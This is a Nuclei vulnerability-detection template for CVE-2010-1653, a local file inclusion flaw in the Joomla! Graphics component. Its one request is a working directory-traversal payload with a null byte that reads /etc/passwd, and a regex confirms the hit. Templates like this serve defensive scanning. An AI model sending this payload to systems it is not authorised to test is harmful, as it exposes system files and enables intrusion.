id: CVE-2010-1653

info:
  name: Joomla! Component Graphics 1.0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the entire Joomla! installation.
  remediation: |
    Update Joomla! Component Graphics to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12430
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1653
    - http://packetstormsecurity.org/1004-exploits/joomlagraphics-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1004
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1653
    cwe-id: CWE-22
    epss-score: 0.03226
    epss-percentile: 0.87243
    cpe: cpe:2.3:a:htmlcoderhelper:com_graphics:1.0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: htmlcoderhelper
    product: com_graphics
  tags: cve,cve2010,edb,packetstorm,joomla,lfi,htmlcoderhelper,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100981eae8aef7e0b9af4ae9a65120d61227830ee99c9a2b723e383ae3a331009ba0220556612e434261776be6f63b1e5349c2693f80020f77bf74683aea00c77c94c1a:922c64590222798bb761d5b6d8e72950